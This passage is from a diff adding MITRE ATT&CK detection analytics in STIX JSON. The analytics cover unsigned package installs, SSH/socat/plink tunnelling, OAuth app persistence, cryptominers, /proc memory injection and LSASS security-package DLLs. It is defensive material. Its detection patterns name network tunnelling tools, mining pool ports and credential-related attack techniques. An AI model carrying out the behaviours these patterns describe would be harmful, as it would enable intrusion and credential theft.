"TrustedPublishers", + "description": "Publisher/Signer allow-list to suppress expected updates." + }, + { + "field": "TrustedUpdateHosts", + "description": "Known update CDNs/APIs (e.g., download.microsoft.com) to reduce egress false positives." + }, + { + "field": "RiskScoreThreshold", + "description": "Score cut-off for alerting when combining path, signer, and reputation features." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--86f2dfd5-7073-4178-8c83-8628ecf087d4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0537#AN1481", + "external_id": "AN1481" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1481", + "description": "1) Package manager or curl/wget installs/upgrades from non-approved repos or unsigned packages; 2) new ELF written into PATH directories or replacement of existing binaries/libraries; 3) first run leads to unexpected child processes or outbound connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve, unlink" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "auditd:SYSCALL", + "channel": "open, rename" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "journald:package", + "channel": "dpkg/apt install, remove, upgrade events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "First-time egress to unknown registries/mirrors immediately after install" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ApprovedRepos", + "description": "Allow-listed APT/YUM repo URLs and GPG key fingerprints." + }, + { + "field": "PathScope", + "description": "Directories to watch for new ELF writes (e.g., /usr/bin, /usr/local/bin, /lib*/, /opt/*/bin)." + }, + { + "field": "MinBinarySize", + "description": "Ignore tiny helper files; default >16KB." + }, + { + "field": "TimeWindow", + "description": "Install\u2192first-run correlation window (default 2h)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--779b2e27-9318-46a3-aeec-765f5fb09de3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0537#AN1482", + "external_id": "AN1482" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1482", + "description": "1) pkg/notarization installs from atypical sources or with Gatekeeper/AMFI warnings; 2) new Mach-O written into /Applications or ~/Library paths or substitution of signed components; 3) first run from installer spawns unsigned children or exfil.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:unifiedlog", + "channel": "installer or system_installd 'PackageKit: install succeeded/failed' with non-notarized or unknown signer" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "launchd, processes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:endpointsecurity", + "channel": "write, rename" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "New egress from app just installed to unknown update endpoints" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTeamIDs", + "description": "Apple Developer Team IDs permitted in your fleet." + }, + { + "field": "TrustedDMGs", + "description": "Known DMG/Pkg sources and hashes." + }, + { + "field": "TimeWindow", + "description": "Install\u2192first-run correlation window (default 2h)." + }, + { + "field": "RiskScoreThreshold", + "description": "Adjust alert sensitivity based on org tolerance." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--64c6aa46-a824-4c8e-8462-d0a58b78acfb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0538#AN1483", + "external_id": "AN1483" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1483", + "description": "Processes such as plink.exe, ssh.exe, or netsh.exe establishing outbound network connections where traffic patterns show encapsulated protocols (e.g., RDP over SSH). Defender observations include anomalous process-to-network relationships, large asymmetric data flows, and port usage mismatches.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedTools", + "description": "Whitelist legitimate tunneling tools (e.g., used by admins)." + }, + { + "field": "DataAsymmetryThreshold", + "description": "Ratio of sent vs received bytes that indicates tunneling activity." + }, + { + "field": "TimeWindow", + "description": "Correlate process creation with network connection within N seconds." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5acd81f3-466a-472d-bb1f-9bda231ac4c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0538#AN1484", + "external_id": "AN1484" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1484", + "description": "sshd, socat, or custom binaries initiating port forwarding or encapsulating traffic (e.g., RDP, SMB) through SSH or HTTP. Defender sees abnormal connect/bind syscalls, encrypted traffic on ports typically used for non-encrypted services, and outlier traffic volume patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "socket/connect calls showing SSH processes forwarding arbitrary ports" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "sshd sessions with unusual port forwarding parameters" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:osquery", + "channel": "socat, ssh, or nc processes opening unexpected ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ForwardingFlags", + "description": "Specific sshd config flags indicating port forwarding." + }, + { + "field": "ProtocolBaseline", + "description": "Define expected application protocols by port to catch tunneling mismatches." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--359ab8ab-f306-4e67-8ff4-f8e1c8ec7db3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0538#AN1485", + "external_id": "AN1485" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1485", + "description": "launchd or user-invoked processes (ssh, socat) encapsulating traffic via SSH tunnels, VPN-style tooling, or DNS-over-HTTPS clients. Defender sees outbound TLS traffic with embedded DNS or RDP payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process execution of ssh with -L/-R forwarding flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "encrypted outbound traffic carrying unexpected application data" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExpectedDoHResolvers", + "description": "Known legitimate DoH resolvers used in environment." + }, + { + "field": "PayloadEntropyThreshold", + "description": "Flag excessive randomness in payloads on standard ports." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7f128f2c-5b38-4088-9026-e251237f8add", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0538#AN1486", + "external_id": "AN1486" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1486", + "description": "VMware daemons or user processes encapsulating traffic (e.g., guest VMs tunneling via hostd). Defender sees network services inside ESXi creating flows inconsistent with management plane traffic, such as SSH forwarding or DNS-over-HTTPS from management interfaces.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vpxd", + "channel": "ESXi processes relaying traffic via SSH or unexpected ports" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "esxcli:network", + "channel": "listening sockets bound with non-standard encapsulated protocols" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ESXiServiceProfiles", + "description": "Baseline allowed services and expected ports for ESXi management." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6feb9746-7b2c-4f6f-92c9-bfdb14eddddc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0539#AN1487", + "external_id": "AN1487" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1487", + "description": "Detects suspicious OAuth application integrations within Office 365 or Google Workspace environments, such as new app registrations, unexpected consent grants, or privilege assignments. Defenders should correlate between application creation/modification events and associated user or service principal activity to identify persistence via app integrations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "m365:unified", + "channel": "Add app role assignment grant to user: Consent to application by privileged or unexpected accounts" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "azure:audit", + "channel": "Consent to application: OAuth application consent granted to service principal" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PrivilegedUserList", + "description": "Defines which accounts are authorized to consent or register applications; deviations indicate possible adversary persistence." + }, + { + "field": "ApplicationScopeThreshold", + "description": "Defines which OAuth scopes are considered risky (e.g., Mail.ReadWrite, Files.ReadWrite.All)." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--036a6a5d-bd87-45c7-bd68-43df76167786", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0539#AN1488", + "external_id": "AN1488" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1488", + "description": "Detects anomalous SaaS application integration activity across environments such as Slack, Salesforce, or other enterprise SaaS services. Focus is on unauthorized app additions, unusual permission grants, and persistence through service principal tokens.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "saas:integration", + "channel": "New or modified third-party application integrations with elevated permissions" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:audit", + "channel": "Application added or consent granted: Integration persisting after original user disabled" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppWhitelist", + "description": "Defines approved SaaS integrations for the enterprise; deviations indicate suspicious persistence." + }, + { + "field": "ConsentDelegationPolicy", + "description": "Threshold for which users can self-consent integrations; lowering this may reduce false positives." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--92157361-c2f8-45e6-9624-38a3cdb44598", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0540#AN1489", + "external_id": "AN1489" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1489", + "description": "Sustained execution of resource-intensive processes (e.g., cryptocurrency miners), often launched via scheduled tasks, WMI, or PowerShell. These processes frequently establish persistent external connections and attempt to evade detection using masqueraded or renamed binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "WinEventLog:Security", + "channel": "EventCode=4698" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Image", + "description": "The executable name of the miner or wrapper\u2014can vary across campaigns." + }, + { + "field": "DestinationIP", + "description": "May differ depending on the mining pool or proxy server." + }, + { + "field": "ParentProcessName", + "description": "Useful for filtering known-good automation vs malicious task runners." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--45a34d76-16aa-45ac-9419-ffbc5d2e090d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0540#AN1490", + "external_id": "AN1490" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1490", + "description": "Unusual long-running processes consuming high CPU cycles (e.g., via 'top' or 'ps') initiated via cron, shell scripts, or Docker. Connections to known mining pools or DNS over HTTPS usage as evasion.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound connection to mining pool port (3333, 4444, 5555)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "linux:cron", + "channel": "Scheduled execution of unknown or unusual script/binary" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLine", + "description": "The miner's execution path and options may vary by campaign." + }, + { + "field": "CPUThreshold", + "description": "Environment-specific definition of anomalous CPU usage." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--57595eb2-4d20-4d99-86b3-82064b3566cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0540#AN1491", + "external_id": "AN1491" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1491", + "description": "Persistent or background daemons (e.g., plist or launchd jobs) spawning high-CPU processes like xmrig or cpuminer. Outbound encrypted traffic to IPs/domains commonly used by mining proxies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launchd or cron spawning mining binaries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "Persistent outbound connections with consistent periodicity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "launchd.plist_label", + "description": "May be disguised with benign-looking names." + }, + { + "field": "DestinationDomain", + "description": "Varying mining pool or obfuscated destination." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7ac026eb-9a3b-49fe-b7ec-7261cb6d6191", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0540#AN1492", + "external_id": "AN1492" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1492", + "description": "Ephemeral or unauthorized container instantiation using public images (e.g., from DockerHub) that initiate high CPU usage shortly after startup. Often scheduled via Kubernetes or Docker socket abuse.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", + "name": "containerd:events", + "channel": "create" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Outbound traffic to mining pool upon container launch" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ImageSource", + "description": "May vary depending on where the image is pulled from (registry or custom URL)." + }, + { + "field": "Namespace", + "description": "Helps differentiate attacker-created namespaces." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7a5e5aff-8395-4b4e-9072-dd765dae7d19", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0540#AN1493", + "external_id": "AN1493" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1493", + "description": "Unauthorized instance creation in unmonitored or unused regions. Burst of compute-intensive jobs in spot instances or sudden spike in resource usage in legitimate VMs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", + "name": "AWS:CloudTrail", + "channel": "RunInstances" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "AWS:CloudWatch", + "channel": "Unusual CPU burst or metric anomalies" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "Region", + "description": "Adversaries may deploy resources in rarely used or misconfigured regions." + }, + { + "field": "TagKey", + "description": "Used to evade detection with benign-looking tags or names." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3a57e109-235d-497a-9c90-952ab8b749b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0541#AN1494", + "external_id": "AN1494" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1494", + "description": "Detects adversary behavior where a process enumerates and modifies another process's memory using /proc/[pid]/maps and /proc/[pid]/mem files. This includes identifying gadgets via memory mappings and overwriting process memory via low-level file modification or dd usage.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open/write to /proc/*/mem or /proc/*/maps" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "execve of dd or sed targeting /proc/*/mem" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "linux:osquery", + "channel": "/proc/*/maps access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcNameRegex", + "description": "Regex list of high-value processes attackers may inject into, such as `sshd`, `nginx`, or `sleep`" + }, + { + "field": "TimeWindowBetweenMapAccessAndMemWrite", + "description": "Time span (e.g., <15s) between map read and memory write that may indicate enumeration-to-injection" + }, + { + "field": "InvokerBinaryAllowlist", + "description": "Allowlist of processes allowed to access /proc/[pid]/mem (e.g., gdb, strace)" + }, + { + "field": "FileWriteThreshold", + "description": "Alert if written bytes to /proc/[pid]/mem exceed a suspicious threshold (e.g., >4096 bytes)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b4a380ed-cc16-47cd-8fe1-44ccf4cad097", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0542#AN1495", + "external_id": "AN1495" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1495", + "description": "Monitor registry modifications to `HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages` or `...\\OSConfig\\Security Packages`, especially insertions of new DLL entries. Correlate this with subsequent DLL module loads into `lsass.exe`. Track unsigned or anomalous DLLs loading into LSASS using image load auditing. LSASS loads unsigned DLL due to AuditLevel=8 registry configuration or System reboot followed by DLL load into lsass.exe", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Controls how long after registry modification to expect a DLL load into LSASS (e.g., after reboot)" + }, + { + "field": "DLLSignatureValidation", + "description": "Use to detect unsigned DLLs or those not matching known trusted publisher certificates" + }, + { + "field": "CustomSSPNameList", + "description": "Define allowed SSP values for your org to reduce false positives" + }, + { + "field": "BootContextCorrelation", + "description": "Whether detection should correlate boot-time registry and process events" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7e1c7338-11d5-4ab4-aefc-bbd81e26068d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 